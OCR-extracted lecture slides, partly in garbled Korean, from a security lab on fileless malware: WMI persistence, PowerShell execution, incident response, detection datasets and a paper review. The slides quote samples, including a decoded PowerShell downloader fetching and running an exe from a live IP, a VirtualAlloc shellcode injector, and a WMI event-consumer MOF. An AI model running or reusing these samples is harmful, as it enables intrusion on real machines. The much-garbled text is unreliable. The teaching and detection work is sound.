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& Fileless Malware Stages

Stage
Delivery

Methods:
* Exploits
* Malicious

Macro
* Scripts
* etc

« Anti-virus scanning= S15t=7 =& e.g. ( 1. Memory execution - Powershell(Invoke-Expression), 2. Trusted application )
H

 Malware Scripte Social engineering 28 A& -> Excel?| O3 £, Website link, etc.

<script language="vbscript”™ s /] 80/download/microsoftp.jpg™>

Trusted Application-mshta.exe

(mshta.exe : HTML 2@ — Window”t |{SHCHD EHEHSER| Q45 )




@ Fileless Malware Stages

Stage
Delivery

Methods:

* Exploits

* Malicious
Macro

* Scripts

¢ etc

« Anti-virus scanning2 S1t5t=2 SH e.g. ( 1. Memory execution - Powershell(Invoke-Expression), 2. Trusted application )

* Malware Script= Social engineering &8 A& -> Excel2| Of2Z, Website link, etc.

Fileless Malware

HAE B Jbs stoats, killshA =@

2totA & - d=2 kil =g

[
=
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@ Fileless Malware Stages

Stage
Persistence

Locations:

*WMI subscription
*Registry

sTask scheduler
setc

* (1. Memory execution — Powershell )

* Rebootingst™ O 22[0f MEE ALAETI} AZHE O 2 Persistence’t 52

+ Malware Script& &3l F7}5 22 Windows registry, WMI Store0 &
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@ Fileless Malware Stages

Stage

Execution

Fileless "body":
*Powershell
eJavascript,

VBScript

*Command line for
Legimate utilities

eetc

SE

of2{7tX| 3L S Sl HZ2|o CHR22E
- powershell.exe - Powershell script &3
« rundll32.exe - Javascript &3

« Csript.exe, mshta.exe, etc.
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»
>

. AHRO|R:23|3817| 412 (powershel O A] * Visual Basic Script(VBScript)
M &3t libAtE) * PowerShell
+ VB application
+ Active Server Pages(ASP)
e C++
WMI Architecture s

WMI consumers
(management
applications)

WMI COM API

COM / DCOM

WMI infrastructure

GOM{DCOM
v v
SNMP Wil Cimv2 Wi Any WMI _

provider provider provider
wn [ omamenator e |
providers
and Any

SNVP Windows (Win32) ’—1
managed managed entity | managed entity | ’ onaged ety | 'NET WMI provider
objects

Native C/C++

a

THEF

ke d

OioH 8=
first

SHMA) 2V =8TH)
allnl[l 7 o
- Windows Defender A ot
7 Windows Firewall Wit - onal
- Windows Remote Ma R R AT e T HE ~ | | Operational
7| windowsBackup 2021-12-01 2% 5:25:33 WMI-Activity 5858 2ig XygE =127
“| WindowsColorSysterr 2021-12-01 2% 5:19:48 WMI-Activity 5858 212 v SR XE 27
- WindowsSystemAsses 2021-12-01 2% 5:19:30 WMI-Activity 5858 g B71 71597
7 windowsUlimr{ = - -
9 WindowsUpdat ] 0= 24 - 0¥ = 5858, WMI-Activity X |o7.
T Winktt | o g 3 ZHY.
| WinHttp (Micre
 WiniNet
WinlNet (Micr DA48ASF31-D786-0004-18DC-92D486D7D701}, ClientMachine = DESKTOP-21VGTEF, AL Xt = 2 ot g
“| Wininit DESKTOP-21VGTEF#User, ClientProcessid = 4888, 74 22 = Unknown, &% = Start
I Winlogon IWbemServices::ExecQuery - rooticimv2 : select * from first, ResultCode = 0x80041010, PossibleCause -5 -
| WinMDE = Unknown EL-1-4-13
 WinML o ®o &
WinNat
- O E(M): i #-Wind WMI-Activity/O
] WinRT-Error 23 0EM): Mic tivity/ i
| WinRT-perf L) WMI-Activity S0 WD) 2021-12-01 2F 52533 &
J Winsock Catalq | oj= ip(e): 5858 AP ERY: A
| Winsock Name
Winsock Netwq =) o8 FIUE(0:
1 Winsrv AERHU): SYSTEM ZFER): DESKTOP-21VGTEF 2
-1 Wired-AutoCol Opcode(0): £ xm
WLAN-AutoCof
- =7 EE()
T WAN-Driver | T F R0 =0y me
“| WLAN-MediaM
- WlanCenn =
-| WlanDlg ~ =
A o7
- wmbclass t®) 1@
v & WMi-Activity OO 20211201 9= 23133 WMI-Activity 5858 o=
] Debug | @DFE 2021-12-01 2 220:17 WMI-Activity 5857 o2
rJ Sr:za"""a @22 2021-12-01 2= 22458 WMI-Activity 5858 o2
%_SIW D= 2021-12-01 2% 2:17:00 WMI-Activity 5857 g
5 WIMP-Setup WM @DFEE 2021-12-01 2F 2:03:18 WMI-Activity 5857 212
© WMPDMCUI @25 2021-12-01 2= 1:53:37 WMI-Activity 5858 2
WMPNSS-PublicAP! @DEE 2021-12-01 23 1:50:23 WMI-Activity 5857 o1&
1 WMPNSS-Service @DFEE 2021-12-01 2 1:35:51 WMI-Activity 5857 g
T WMPNSSUI v | @25 2021-12-01 23 1:35:29 WMI-Activity 5858 2 v
> < >
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@ Fileless Powershell Malware - WMI

1. An attacker uses WMI as a persistence mechanism

e Effect: Instances of __EventFilter, __EventConsumer, and __FilterToConsumerBinding

are created. An __InstanceCreationEvent event is fired.

SystemO| rebootingE H& | X &
[ Eventing Requirements ]

1. Event Filter (E2l)

2. Event consumer (action)

3. Fileter - consumer binding

goftwe&

3 ity Laboratory




Fileless Malware

System
Secunty Labortory

@ Fileless Powershell Malware - WMI

1. An attacker uses WMI as a persistence mechanism
e Effect: Instances of __EventFilter, __EventConsumer, and __FilterToConsumerBinding
are created. An __InstanceCreationEvent event is fired.

SystemO| rebootingE H& | X &
[ Eventing Requirements ]
1. Event Filter (E2l)

Ex) BFE S8 Al 4™
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@ Fileless Powershell Malware - WMI

1. An attacker uses WMI as a persistence mechanism
e Effect: Instances of __EventFilter, __EventConsumer, and __FilterToConsumerBinding
are created. An __InstanceCreationEvent event is fired.

WMI Architecture
SystemO| rebooting= H & KX & | Windows Forms |
[ Eventing Requirements ] o
1. Event Filter (E2IH) o [Srenregomen |
o e o]
septeton) I Provider O| &
] || [Rootwdefault
COM / DCOM
Ex) Z2FE =8 Al &8 o interaction —— | storage [* RootWcimv2

(CIM Object Manager)
WMI infrastructure I I vy vy I

COM / DCOM | .
RootWsubscription
——— i
SNMP WMI Cimv2 WMI Any WMI
provider provider provider - Namespace ...
4 4
wWMI
providers
and SNMP Windows (Win32) ‘ Y
mrr | Lo | 0| | ey
Native C/C++
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@ Fileless Powershell Malware - WMI

1. An attacker uses WMI as a persistence mechanism

e Effect: Instances of __EventFilter, __EventConsumer, and __FilterToConsumerBinding
are created. An |=InstanceCreationEvent event is fired.

1. Event Filter (E2IH)

Ex) BFE S8 Al 4™

Intrinsic Event

SystemO| rebootingE H& | X &

[ Eventing Requirements ]

System class _ [iectre
(management
soplications) I Provider 0| &
’ | — Root#default
COM / DCOM
o interaction storage < Root¥cimv?2
WMI core
e
~ ~
COM / DCOM | .
RootWsubscription
—— -
SNMP WMI Cimv2 WMI Any WMI
i ider provider - Namespace ...
A
wMI
providers
and SNMP Windows (Winaz)‘ ¥
mrr | Lo | 0| | ey
Native C/C++
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@ Fileless Powershell Malware - WMI

1. An attacker uses WMI as a persistence mechanism
e Effect: Instances of __EventFilter, __EventConsumer, and __FilterToConsumerBinding

are created. An |=InstanceCreationEvent

event is fired.

SystemO| rebootingE H& | X &
[ Eventing Requirements ]
1. Event Filter (E2l)

Ex) BFE S8 Al 4™

Intrinsic Event

Extrinsic Event
System class
(providerZ} d2|5l= class)

Provider O| &
RootWdefault

System class _ [iectre
(management
applications) I
COM / DCOM ’ |
o interaction storage [
WMI core
e
1
COM / DCOM
v v
o | SNMP WMI H Cimv2 WMI ‘ | Any WMI
i ider provider
A

wWMI
providers
and

| SNMP

Windows (Win32) ‘

objects

entity

entity

Native C/C++

managed entiy
(native code|

Root¥cimv?2

RootWsubscription

- Namespace ...
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@ Fileless Powershell Malware - WMI

1. An attacker uses WMI as a persistence mechanism
e Effect: Instances of __EventFilter, __EventConsumer, and __FilterToConsumerBinding
are created. An __InstanceCreationEvent event is fired.

WMI Architecture
SystemOl rebooting= i & S Xl | Windows Foms |
[ Eventing Requirements ] o
1. Event Filter (E2IH)
WMI consumers _
(mapag;mer;t
applications, I
’ | 1 Rootidefault _
COM { DCOM Class 0|E
Ex) 2EEH =2 Al & o interaction —r— | storage |[* Roott#fcimv2:Win32_Compute
I | (CIM Object Manager) | rShutdownEvent
— = | (TARGET EVENT)
— —] RootWsubscription
SNMP WMI Cimv2 WMI Any WMI
| L ‘ | provider ‘ l provEey | - Namespace ...
wWMI
providers
and SNMP Windows (Win32) Any
d : . managed entiy
objects | Sl Ly ‘ native code
Native C/C++
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@ Fileless Powershell Malware - WMI

1. An attacker uses WMI as a persistence mechanism
e Effect: Instances of __EventFilter, __EventConsumer, and __FilterToConsumerBinding
are created. An __InstanceCreationEvent event is fired.

WMI Explorer 2.0 (Administrator) - m} X
File Launch Help
Computer Mode Class Enumeration Options
— @® Asynchronous s [J Include System Class[] Include Perf Classes
DESKTOP-21¥GTEY) [geonuss O Synchronous gliel [ Include CIM Classes [] Include MSFT Classes EEED
Namespaces Classes (404) Search
= W DESKTOP-21VGTEFWROOT - X ’ = =
i Quick ‘shut Instances Properties (4) Methods (0) Query Script  Logging
— TV 2 mdm Classes Class Properties
. ROOTHCIMY2#ms_409 . Laz, Description Path " i i ipti
ROOTHCIMY e 412 i i P il _ ' . F‘ropelrty MName Ty!ae Enumeration Available Lazy DBSCF.IDYIDH |
. ROOTHCIMY2Hpower omputershutdownkvent U umeE s WDESK IOP-21VG 1., MachineName Sting  False False MachineName S&H = 0/ EDL Zrad
& ROOTHWCIMY2#Security SECURITY_DESCRIPTOR Ulntd [1 False False
ROOTHCIMY2W Security'MicrosoftTpm TIME_CREATED UIntG4  False False
- ROOTHCIMY2H Security'MicrosoftVolumeEn Type Ulnt32 ~ True False Type @M= AZE AAH S8 FFI
= WCli

ROOTHCIitMS _409
ROOTHCIitMS_412
ROOTHWDEFAULT
ROOTHDEFAUL T ms_409
ROOTHDEFAULT#ms_412
- ROOTHdirectory
- ROO T Hardware
= ROOTHInterop
ROOT#Interop¥ms_409
ROOTHfInteropttms 412 < R
- ROO T Microsoft
ROOTH#msdtc
ROOTHPEH [ ~
ROOTWRSOP IWin32_ComputerShutdownEvent Class : Win32_ComputerSystemEvent, __ExtrinsicEvent,

ROOTHSECURITY __Event, __IndicationRelated, __SystemClass

ROOT#SecurityCenter

Eggmgzrﬂgﬁ;ﬂn;?rz 0l DIMIE 2L HEEI} ALY S5 TZHAS ARHUS (12 0WES LIEHELICH

= ROO T StandardCimy2 . . .

ROOTH#StandardCimy2#MS_409 Class Qualifiers: Type=false Z|H &3
ROOT#StandardCimy2MS _412 A= s =

1 ROOT#subscription CIEREEIE OI'E = = El 7 -I ]

= ROOTHWMI Description

ROOT#WWMIms_409 Locale - 1042
ROOTHWMItms_412 UUID - {A6B834B1-F974-4445-8F2E-FC996638B350}

< >

WOL Query (Selected Object)

Query |SELECT + FROM Win32_ComputerShutdownEvent Execute




Fileless Malware

@ Fileless Powershell Malware - WMI

1. An attacker uses WMI as a persistence mechanism
e Effect: Instances of __EventFilter, __EventConsumer, and __FilterToConsumerBinding
are created. An __InstanceCreationEvent event is fired.

WMI Architecture
SystemOl rebooting= i & S Xl | Windows Foms |
[ Eventing Requirements ] o
1. Event Filter (E2|H) —— [t |
(management _
applications) I
’ | -t RootiWdefault _
COM/DCOM Class 0|E
Ex) 2EEH =2 Al & o interaction —r— | storage |[* RootWcimv2:Win32_Compute
I [ ©MObjectManager) | rShutdownEvent
p— . | (TARGET EVENT)
— ] RootWsubscription
SNMP WMI Cimv2 WMI Any WMI SAVE! !
| L ‘ | provider ‘ l provEey | - Namespace ...
wMl
providers
and SNMP Windows (Win32) e o
objects | CILy ELiy ‘ et
Native C/C++
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& Fileless Powershell Malware - WMI

1. An attacker uses WMI as a persistence mechanism
e Effect: Instances of __EventFilter, __EventConsumer, and __FilterToConsumerBinding
are created. An __InstanceCreationEvent event is fired.

| <t Sei 2
©0®

SystemO| rebootingE & KX &

[ Eventing Requirements ]

Lt@ $tL|Ct. of2{3t 22 29]

EEPCT

2. Event consumer (action)

Ex) BFE S8 Al 4™

LogFileEventConsumer

NTEventLogEventConsumer

ScriptingStandardConsumerSetting

SMTPEven




Fileless Malware
==

& Fileless Powershell Malware - WMI

1. An attacker uses WMI as a persistence mechanism
e Effect: Instances of __EventFilter, __EventConsumer, and __FilterToConsumerBinding
are created. An __InstanceCreationEvent event is fired.

SystemO| rebootingE H& | X &

[ Eventing Requirements ]

ch. ol2igt B2l
als| ab|xHE

BE 4 8.
2=

3. Fileter - consumer binding

(1)

#pragma namespace(”\\\\.\\root\\subscription™)

Ex) BFE S8 Al 4™

instance of ActiveScriptEventConsumer as $CONSUMER
{

Name = "MyConsumerName";

ScriptingEngine = "VBScript”;

ScriptText =

"Set objFS = CreateObject(\"Scripting.FileSystemObject\")\n"

"Set objFile = objFS.OpenTextFile(\"C:\\\\ASEC.log\", 8, true);\n"
"objFile.WriteLine \"Time: \" + new Date() + \";\n"
"objFile.WriteLine \"Entry made by: \\\"ActiveScript\\\"\";\n"
"objFile.Close\n";

// this is the Administrators SID in array of bytes format
CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
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& Fileless Powershell Malware - WMI

e Effect: Instances of

1. An attacker uses WMI as a persistence mechanism
EventFilter, __EventConsumer, and __FilterToConsumerBinding
are created. An __InstanceCreationEvent event is fired.

SystemO| rebootingE H& | X &
[ Eventing Requirements ]

3. Fileter - consumer binding

Ex) BFE S8 Al 4™

{

ERNTIERES
acdzze- @@

CHE 20| M= wmi O]2] 2X] & S £H|X]

instance of __ FilterToConsumerBinding

Filter = $FILTER;
Consumer = $CONSUMER;
DeliverSynchronously=FALSE;

// this is the Administrators SID in array of bytes format
CreatorsID = {1,2,0,0,0,08,0,5,32,0,0,0,32,2,0,0};
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@ Fileless Powershell Malware - WMI

HIojEf 2441 Hd

2. The WMI Shell utility is used as a C2 channel
e Effect: Instances of __Namespace objects are created and modified. Consequently,
__NamespaceCreationEvent and __NamespaceModificationEvent events are fired.
3. WNMI classes are created to store attacker data
e Effect: A__ClassCreationEvent event is fired.

IStaticClass=New-Object Svstem.Management.ManagementClass('rooticimv2', $null,$null)
IStaticClass .Name ='Win32 EwlCIass

IStaticClass . Put() String, Script M% 7t5
IStaticClass .Properties Add( 'Evi |Property' |"This is not the malware vou are looking for")
IStaticClass  Put()




Y A= =

Fileless Malware

128 7§% | ZCH Hix: 10 |22

Win32_DCOMApplicationLaunchAllowedSetting 0
Win32_DefragAnalysis ()
Win32_DiskQuota 0

@ Fileless Powershell Malware -

Win32_FolderRedirection ()

Win32_FolderRedirectionHealth 0
Win32_FolderRedirectionHealthConfiguration 0
Win32_FolderRedirectionUserConfiguration 0
Win32_ImplementedCategory 0
Win32_InstalledProgramFramework ()
Win32_InstalledStereProgram 0
2. The WMI Shell utility is used as a C2 channel Win32_InstalledWin32Program 0
. < >
e Effect: Instances of __Namespace objects :
__NamespaceCreationEvent and __Names| =% &7
3. WNMI classes are created to store attacker data
. - %4 0|8 gE S &8 HE
e Effect: A__ ClassCreationEvent event is fire] —— _ —

- - - |E-.‘||Prcperf_;.‘ |\“.'111;1;-‘_E'.‘|IL|355 P
IStaticClass=New-Object Svstem.Management Manage =
P - 1 . . 1 ==
IStaticClass Name ='"Win32_EvilClass =
IStaticClass .Put() |CIM_STRING = o owe
IStaticClass Properties. Add('Evi |Property’ ["This| _
$StaticClass .Put() A " NULL & NULLO| Ot

his is not the malware you are looking for,

SRR
7 A " NULLO| Ot & EE
CIMTYPE CIM_STRING string SHE X =7t

rot
(12
Rl
JZ
=

rot
(12
>
r
A
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@ Fileless Powershell Malware - WMI
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4. An attacker installs a malicious WMI provider

e Effect: A__Provider class instance is created. An __InstanceCreationEvent event is fired.

C2 channel : remote control
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@ Fileless Malware Stages

Table 2 Comparison between file-based malware and fileless malware

Techniques

Traditional file-based malware

Fileless malware

Source code
Malicious file

Malicious process

Complexity
Detection complexity
Persistence

File Types

Targets

Obfuscation methods

Anti-virus detection

Sandboxes detection

Behavior-based heuristics and
unsupervised machine learning

Yes
Yes

Yes

Moderate
Moderate
Medium

- Executable files
- Script embedded in a format that executes
scripts (PDF, Word, Excel etc.)

Executable file with single targeted OS/ patch level
combination

« Encrypt file

« Archive file

« Executable file disquised as another type of file
« Executable file embedded in another file

Possible with known signature
Physically availability of file

File-based malware shows abnormal behavior in the system
after compromising the targeted host. Hence, these systems
are designed to detect such behavior.

No
No

No
(Uses trusted OS processes)

Very high
Very high
Low

« JavaScrpt

< WMI

« PowerShell

- Flash

« WScript/ CScript

Can target many different OS/ path level
combinations

- Encoding

« Escaped ASCII/ Unicode values
« String splitting

« Encryption

+ Randomization

- Data obfuscation

- Logic structure obfuscation

« White space

Not possible
Not possible

Fileless attacks are designed to behave like a benign
process in the system, so they may not alarm as an
anomaly. Hence, very difficult to detect.
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& Fileless Malware Lifecycle

[ websites hosted exploit kit | { Spear Phishing |

Attack Vector

[ Malicious URLs ]

[Spam Campaign ]

Run Registry
+ | with JavaScript

Execute

Fig. 1 Infection flow of fileless malware

PowerShell

Executes the encrypted Scripts

Malicious Payload

WMI Object with
VBScript/JScript

Execute

— Execution Mechanism

Compromised host
— running malicious

within the legitimate G
program in memory

process memory

Malicious Code ExecutesJ

- Backdoor

- Exploit

- Malicious Macro
- Script

- Vulnerability

o

N\ N\
L
e <[>
]
- Windows Registry - VBScript
- Task Scheduler - Java Script
- WMI - PowerShell
- System Ultilities
J . J .

Delivery

Persistence

Execution
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@ Fileless Malware Stages

1. The attacker first aim is to gain the root access to its
victim machine to take the full privilege of the
PowerShell. To identify fileless infections, the system
needs to monitor all the essential features that are
accomplished by PowerShell capabilities, such as:

a. Remote command execution by the PowerShell.

b. Change of standard user privilege to administrative
privilege to access WMI and .NET Framework base
class library.

c. Programs, which are executing in the main
memory, may be malicious.

2. It is essential to identify the principal sources of
information such as network traffic, network
connections, and suspicious modifications to
particular Windows registry keys. [n addition, the
Windows event log| being on guard for clear
indicators that may suggest the malicious activity
has taken place. Some of the indispensable events
need to be adequately monitored, such as:
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@ Fileless Malware Stages

N

Preparation:

» Establish an Incident Response Team.

* Train staff on the latest security threat and security tools.

* Best practices need to be followed to prevent further incidents.

* Deploy intrusion detection, malware analysis and forensic data collection capabilities.

» Incident response policies and procedures, including a legal activities coordination plan need to be
develop to facilitate the incident handler.

# Detection: )

» Detect and confirm that an incident has occurred.

* Preliminary analysis has to be performed to determine the scope of incident.

» Follow the policies of containment, eradicate, investigation, and recovery strategy.

* Report the incident to appropriate ICIM (Independent Center for Incident Management) i

Collection:

* Collect and preserve all the evidence in a forensically sound manner for the further
analysis/investigation.

Investigation:

+ Isolate the compromised system to prevent further propagation.

» Eradicate malware and disable compromised systems/accounts.

» Countermeasures need to be followed to prevent repeat occurrences of such incidents and apply
suitable changes in the incident response policies and procedures.

Incident Closure:

* Prepare complete incident report.

« Improve the future preparedness if necessary.

» Preserve all evidence as required according to the policies.

Fig. 6 The process flow of cybersecurity incident handling and response )
.
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Table 5 Comparison of challenges between file-based and fileless malware

Fileless malware

Challenges File-based malware
1. Detection and  Malicious files are available and detect by the AV solutions.
collection
2. Examination Perform static and dynamic analysis of the malicious sample
to extract indicators of compromises (I0Cs).
3. Analysis & Co-relate the intention of the attacker from the IOCs and
nvestigation investigate the attacker IP through mapping with IP-
geolocation.
4. Incident The accurate response of malicious activity should be

response communicated to mitigate the threat.

Since, the malicious files are unavailable, it required to do in-depth
memory analysis for the identification of malicious programs
running in memory and collect malicious patterns as evidence.

To establish and validate the attack, all pieces of evidence, such as
network events, logs of all security tools, and hosts are required to
examine.

Co-relate the intention of the attacker from the I0Cs and
investigate the attacker IP through mapping with IP-geolocation.

The accurate response of malicious activity should be
communicated to mitigate the threat.
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Malware data types Libraries used for attack
lr """""""""
— PS script [ 1 WMI
— obfuscated i
— cscript —  .NET
Fileless |
Malware ) H
— wscript ] PS
— De-obfuscated — E
— Java script :

.................
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@ Fileless Malware

Malware data types Libraries used for attack

PS script

FIEIESS
Malware

De-obfuscated
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@ Fileless Malware

Malware data types Libraries used for attack

PS script

FIEIESS
Malware

De-obfuscated
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Malware data types Libraries used for attack

Fileless
Malware

Select Model + Dataset
Dataset Analysis Analysis

O © )
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SLeumy Labomatory
& Fileless Malware Dataset
Dataset
Name Author Target Type
Benign Malicious
Effective and Light-Weight Deobfuscation and Zhenyuan Li PS Script Detection 234204 414104
Semantic-Aware Attack Detection for Powershell et al. De-Obfuscation Github [1]
Scripts [2]
Malicious PowerShell Detection Using Attention Sunoh Choi PS Script Detection 1000 1000
against Adversarial Attacks Etri Etri
Malicious Powershell Detection Using Graph Sunoh Choi PS Script Detecction 500 500
Convolution Network Etri Etri
Static detection of malicious Powershell based on Mamoru PS Script Detection 5000 944
word embeddings Mimura, Yui Github [3]
Tajiri [4]
Evaluations of AI-based malicious Powershell Sunoh Choi PS Script Detection 22,475 4214
detection with feature optimizations et al. OLE file Github [1]
[6] [5]
PowerDrive:Accurate De-Obfuscation and Analysis Denis Ugrate PS Script Detection X 5079
of PowerShell Malware Et al. OLE file De-Obfuscation [1]-
[71-
POSTER: AST-Based Deep Learning for Detecting Gili Rusak PS Script Detection X 4079
Malicious PowerShell Et al. [1]

[1] Pulling Back the curtains on EncodedCommand PowerShell Attacks

[2] Powershell-based Attack Toolkits
[3] https://www.hybrid-analysis.com/
[4] https://any.run/

[5] EST security

[6] GithubOfl A{ Powershell Script 22 & &, Virus Total ZAt 217t 5% 0|4 LER®H malicious, OFL|H benign

[7] VirusTotal
[8] ESET Vhook
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& Fileless Malware Dataset
Dataset
Name Author Target Type
Benign Malicious
Effective and Light-Weight Deobfuscation and Zhenyuan Li PS Script Detection 234204 41414
Semantic-Aware Attack Detection for Powershell et al. De-Obfuscation Github [1]
Scripts [2]
Malicious PowerShell Detection Using Attention Sunoh Choi PS Script Detection 1000 1000
against Adversarial Attacks Etri Etri
Malicious Powershell Detection Using Graph Sunoh Choi PS Script Detecction 500 500
Convolution Network Etri Etri
Static detection of malicious Powershell based on Mamoru PS Script Detection 5000 944
word embeddings Mimura, Yui Github [3]
Tajiri [4]
Evaluations of Al-based malicious Powershell Sunoh Choi PS Script Detection 22,475 4214
detection with feature optimizations et al. OLE file Github [1]
[6] [5]
PowerDrive:Accurate De-Obfuscation and Analysis Denis Ugrate PS Script Detection X 5079
of PowerShell Malware Et al. OLE file De-Obfuscation [1]-
[71-
POSTER: AST-Based Deep Learning for Detecting Gili Rusak PS Script Detection X 4079
Malicious PowerShell Et al. [1]

[1] Pulling Back the curtains on EncodedCommand PowerShell Attacks

[2] Powershell-based Attack Toolkits
[3] https://www.hybrid-analysis.com/
[4] https://any.run/

[5] EST security

[6] GithubOfl A{ Powershell Script 22 & &, Virus Total ZAt 217t 5% 0|4 LER®H malicious, OFL|H benign

[7] VirusTotal
[8] ESET Vhook




Fileless Malware

@ Fileless Malware Dataset

Software &
System
Secunty Laboratory

Dataset
Name Author Target Type Year
Benign Malicious
Effective and Light-Weight Deobfuscation and PS Script Detection 234204 414104
Semantic-Aware Attack Detection for Powershell Recall:92.3 De-Obfuscation Github [1] 2019
Scripts [2]
Malicious PowerShell Detection Using Attention Sunoh Choi PS Script Detection 1000 1000 2020
against Adversarial Attacks Etri Etri
Malicious Powershell Detection Using Graph Sunoh Choi PS Script Detecction 500 500
; - - 2021
Convolution Network Etri Etri
Static detection of malicious Powershell based on Mamoru Mimura, PS Script Detection 5000 944
word embeddings Yui Tajiri Github [3] 2021
[4]
Evaluations of AI-based malicious Powershell PS Script Detection 22,475 4214
detection with feature optimizations Recall:98.5 OLE file Github [1] 2020
[6] [5]
PowerDrive: Accurate De-Obfuscation and Denis Ugrate PS Script De-Obfuscation X 5079
Analysis of PowerShell Malware Et al. OLE file [1]- 2019
[71-
POS_T_ER: AST-Based Deep Learning for Detecting [ Recall:90.7 ] PS Script Detection X 4079 2018
Malicious PowerShell [1]
Detecting Malicious PowerShell Commands using [ . ] PS Command Detection Github [1]
Deep Neural Network Recall:88.1 QLS

[1] Pulling Back the curtains on EncodedCommand PowerShell Attacks
[2] Powershell-based Attack Toolkits
[3] https://www.hybrid-analysis.com/
[4] https://any.run/

[5] EST security

[6] GithubO| Al Powershell Script 322 =, Virus Total ZAt Z1t7t 5% 0|4 L} malicious, OFL| 2 benign




Fileless Malware

@ Fileless Malware Dataset

[Original Code]

"W C:HWWindowsWiSystem32#WWWindowsPowerShell##v1.0¥#powershell.exe®" -window hidden -enc KABOAGUAdwAAESAYgBqAGUAYwWBOACAAUWBSAHMAAABIAGO:
[Filename]

011567ef72f059c0b865a052f66e67f7bd53194b2f2376d44c02241d0ab8b76b.bin

[Arguments]

[-window hidden’, -enc']

[B64 Decoded]

(New-Object System.Net.WebClient).DownloadFile(*http://80.82.64.45/~yakar/msvmonr.exe',"$env:APPDATA¥msvmonr.exe");Start-Process ("$env:APPDATA¥msvmonr.exe")

[Family Name]

40797 obfucated script

[Original Code]

"WC:WWWindows#isyswowb 4w WindowsPowerShellw#v1.0%#powershell.exew” -EncodedCommand JABXAGsAYwAgADOAIAANAFsARABSAGWASQBtAHAAbwBYAHQAKAAIAGSAZQBYAGAAZ
0ACgAIgBtAHMAdgBjAHIAJAAUAGQAbABSACIAKQBAAHAAJQBIAGWAaQBJACAAcWBOAGEAJABpAGMAIABIAHgAJABIAHIAbgAgAEKAbgBOAFAAJABYACAALQBIAGOACWBIAHQAKABJAG4AJAE
YAGMALAAWAHgAMgAWACWAMAB4AGMAMQAsADAAeABJAGYALAAWAHgAMABKACWAMAB4ADAAMQASADAAeABJADCALAAWAHGAZQAYACWAMABAAGYAMAASADAAeAATADIALAAWAHg
4ADgAYgAsADAAeAATADgALAAWAHgAMQBJACWAMAB4ADAAMQAsADAAeABKADMALAAWAHGAOABIACWAMAB4ADAANAASADAAeAA4AGIALAAWAHgAMAAXACWAMABAAGQAMAASADA/
wAHgAZgBmACWAMAB4AGQANQASADAAeAASADcALAAWAHgANGBhACWAMAB4ADAANQASADAAeAA2ADgALAAWAHgAYWAWACWAMABAAGEAOAASADAAeAAWADAALAAWAHGANGATACY
sADAAeAATADMALAAWAHgANGBhACWAMABAADAAMAASADAAeAATADYALAAWAHGANQAZACWAMABAADUANWASADAAeAA2ADgALAAWAHgAMAAYACWAMABAAGQAOQASADAAeABJADg
[Filename]

018a79471c4176341c4f358f02be1a585002785114948248be2f5ddc3ad 1616.bin

[Arguments]

['-EncodedCommand’]

[B64 Decoded]

[$ch = '[Dllimport("*kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr IpAddress, uint dwSize, uint flAllocationType, uint fIProtect);[Dllimport("kernel32.dII")]public static extern IntPtr ¢
0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1¢,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,
«gth};$rgcM=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$wzmemset([IntPtr]($rgcM.Tolnt320+$i), $z[$i], 1)};$w::CreateThread(0,0,$rgcM,0,0,0);for (;;){Start-sleep 60};

[ [Family Name]

[

unicom | ,

[5] EST security

[6] GithubOfl A{ Powershell Script 22 & &, Virus Total ZAt 217t 5% 0|4 LER®H malicious, OFL|H benign
[7] VirusTotal

[8] ESET Vhook
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@ Fileless Malware Dataset

[1] Pulling Back the curtains on EncodedCommand PowerShell Attacks

Class(27)

Downloader DFSP
Shellcode Inject
Unicorn

PowerShell Expire
SET

Unknown

Powerfun Reverse
Downloader DFSP 2X
Downloader DFSP DPL

Downloader IEXDS
Scheduled Task COM
BITSTransfer

VB Task

TXT C2
Downloader Proxy
AMSI Bypass

Veil Stream
Meterpreter RHTTP
DynAmite Launcher
Downloader Kraken
AppLocker Bypass
PowerSploit GTS
Powerfun Bind
Remove AV
DynAmite KL

System &
Secunty Labortory




Fileless Malware

@ Fileless Malware Dataset

=20 AF2 E Dataset

[1] Pulling Back the curtains on EncodedCommand PowerShell Attacks = Palo Alto Network Dataset
[2] Powershell-based Attack Toolkits

[3] HybridAnalysis

[4] AnyRun

[5] EST security

[6] GithubOf|A{ Powershell Script 22 & &, Virus Total ZAt 217t 5% 0|4 LER®H malicious, OFL| 2 benign
[7] VirusTotal

[8] ESET Vhook




Fileless Malware

@ Fileless Malware Dataset

=20 A2 E Dataset

[1] Pulling Back the curtains on EncodedCommand PowerShell Attacks = Palo Alto Network Dataset
[2] Powershell-based Attack Toolkits

[3] HybridAnalysis

[4] AnyRun

[5] EST security

[6] GithubOf| A| Powershell Script A& & &, Virus Total ZAt 217t 5% 0|4 LE2 P malicious, OFL|® ben
[7] VirusTotal

[8] ESET Vhook

ign

Palo Alto Dataset A2 =2 28

1 AST-Based Deep Learning for Detecting Malicious Gili Rusak PS Script Detection
PowerShell Et al.
2 Detecting Malicious PowerShell Commands using Danny Hendler PS Command Detection
Deep Neural Network Et al.
PowerDrive: Accurate De-Obfuscation and Analysis of Denis Ugrate PS Script De-Obfuscation
R} PowerShell Malware Et al. OLE file
Effective and Light-Weight Deobfuscation and Zhenyuan Li PS Script Detection
Semantic-Aware Attack Detection for Powershell et al. De-Obfuscation
Scripts
Evaluations of Al-based malicious Powershell Sunoh Choi PS Script Detection
) detection with feature optimizations et al. OLE file

| Benign [ Malicious |
X 407974
[1]
Github [1]
X 5079}
[1]
[71
234204 414124
Github [1]
[2]
22,4750 421404
Github [1]
[6] [5]

Software &
System
Secunty Laboratory

Year

2018

2018

2019

2019

2020
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@ Paper Review

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Architecture
i PS script > AST > RF > Confus_lon
| matrix

__________________________________________________________________________



Fileless Malware

@ Paper Review

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Architecture

___________________________________

\ 4

RF

\ 4

Confusion
matrix

___________________________________

[~y 17 StowmentBlockAu

@ st

. ScriptBlockAst

:
@ remessiockast

7 Y

@ scrvsiooast

‘ NamedBlockAst

